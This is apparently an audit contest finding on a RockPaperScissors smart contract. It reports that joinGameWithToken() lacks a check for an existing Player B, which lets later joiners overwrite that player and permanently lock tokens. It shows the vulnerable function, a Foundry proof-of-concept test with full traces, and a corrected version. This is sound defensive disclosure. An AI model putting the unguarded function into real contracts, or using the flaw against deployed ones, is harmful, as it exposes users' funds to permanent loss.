Submission Details
Severity:
Vulnerability in `joinGameWithToken` Functions allow Multiple Players to Join Resulting in Permanent Lost of Funds
Summary
The RockPaperScissors smart contract contains a critical vulnerability in the joinGameWithToken() function that allows multiple players to join the same game as "Player B." This breaks the core two-player game design and permanently locks any tokens deposited by additional players in the contract with no retrieval mechanism. This vulnerability in the joinGameWithToken() function occurs because the function does not verify whether a Player B has already joined the game before accepting new join requests.
Vulnerability Details
In the joinGameWithToken() function, there is no check to verify if a Player B has already been assigned to the game:
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// MISSING CHECK: require(game.playerB == address(0), "Game already has a second player");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
When a new player joins as Player B, the previous Player B's address is simply overwritten. However, the tokens transferred from the previous Player B remain in the contract. The issue is verified by the test logs showing:
proof of concept
function testjoinGameWithTokenBug() public {
//get balance if all participant before the game
uint256 playerABal = token.balanceOf(playerA);
uint256 playerBbal = token.balanceOf(playerB);
uint256 playerCbal = token.balanceOf(playerC);
uint256 contractBal = token.balanceOf(address(game));
console.log("player a bal", playerABal);
console.log("player b bal", playerBbal);
console.log("player c bal", playerCbal);
console.log("contractBal bal", contractBal);
// playerA createGame
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// playerB joined the game
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
vm.stopPrank();
console.log("contractBal bal after userb joined", token.balanceOf(address(game)));
console.log("address of player b: ", playerB);
// Admin joined the game
vm.startPrank(playerC);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
console.log("contractBal bal after Admin joined", token.balanceOf(address(game)));
console.log("address of playerC: ", playerC);
(
address player1,
address player2,
,
,
uint256 revealDeadline,
uint256 creationTime,
uint256 joinDeadline,
uint256 totalTurns,
uint256 currentTurn,
,
,
RockPaperScissors.Move moveA,
RockPaperScissors.Move moveB,
uint8 scoreA,
uint8 scoreB,
RockPaperScissors.GameState state
) = game.games(gameId);
assertEq(player2, playerC); //playerCb is the protocol playerB instead of playerb that first joined the game
assertEq(token.balanceOf(address(game)), 3); // userb money is forever locked in this contract with the other participant funds
}
Ouput
[PASS] testjoinGameWithTokenBug() (gas: 312295)
Logs:
player a bal 10
player b bal 10
player c bal 10
contractBal bal 0
contractBal bal after userb joined 2
address of player b: 0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1
contractBal bal after Admin joined 3
address of playerC: 0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944
Traces:
[371995] RockPaperScissorsTest::testjoinGameWithTokenBug()
├─ [2581] WinningToken::balanceOf(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ └─ ← [Return] 10
├─ [2581] WinningToken::balanceOf(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Return] 10
├─ [2581] WinningToken::balanceOf(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ └─ ← [Return] 10
├─ [2581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("player a bal", 10) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("player b bal", 10) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("player c bal", 10) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("contractBal bal", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [192288] RockPaperScissors::createGameWithToken(3, 600)
│ ├─ [581] WinningToken::balanceOf(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [26287] WinningToken::transferFrom(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 0, totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [32658] RockPaperScissors::joinGameWithToken(0)
│ ├─ [581] WinningToken::balanceOf(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [6387] WinningToken::transferFrom(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 2
├─ [0] console::log("contractBal bal after userb joined", 2) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("address of player b: ", playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [24342] WinningToken::approve(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ ├─ emit Approval(owner: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], spender: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ └─ ← [Return] true
├─ [10758] RockPaperScissors::joinGameWithToken(0)
│ ├─ [581] WinningToken::balanceOf(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ │ └─ ← [Return] 10
│ ├─ [6387] WinningToken::transferFrom(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1)
│ │ ├─ emit Transfer(from: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], to: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1)
│ │ └─ ← [Return] true
│ ├─ emit PlayerJoined(gameId: 0, player: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 3
├─ [0] console::log("contractBal bal after Admin joined", 3) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("address of playerC: ", playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ └─ ← [Stop]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], 0, 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] VM::assertEq(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ └─ ← [Return]
├─ [581] WinningToken::balanceOf(RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 3
├─ [0] VM::assertEq(3, 3) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
The test confirms that after Player C joins, they become the new Player B in the game, replacing the original Player B. However, all three tokens (from Player A, Player B, and Player C) are now locked in the contract. The original Player B has no way to recover their token.
Impact
The impact of this vulnerability is critical:
Permanent Token Loss: Any player who joins as Player B and is subsequently replaced loses their tokens permanently
Game Integrity Compromise: The game is designed for exactly two players, but this vulnerability breaks that assumption
No Recovery Mechanism: There is no way for replaced players or even the contract admin to recover locked tokens
Contract Token Balance Inflation: The contract token balance grows with each replaced Player B
Protocol Asset Risk: If the WinningToken has monetary value or utility within the system, this could represent a significant financial loss
This vulnerability could be exploited by malicious actors to steal tokens by creating games and convincing multiple players to join sequentially, effectively trapping their tokens in the contract with no retrieval mechanism.
Tools Used
Manual code review
Foundry/Forge testing framework
Control flow analysis
Token balance tracking tests
Recommendations
Add a check to prevent joining if Player B already exists:
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
require(game.playerB == address(0), "Game already has a second player");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates
Appeal created
m3dython 4 months ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.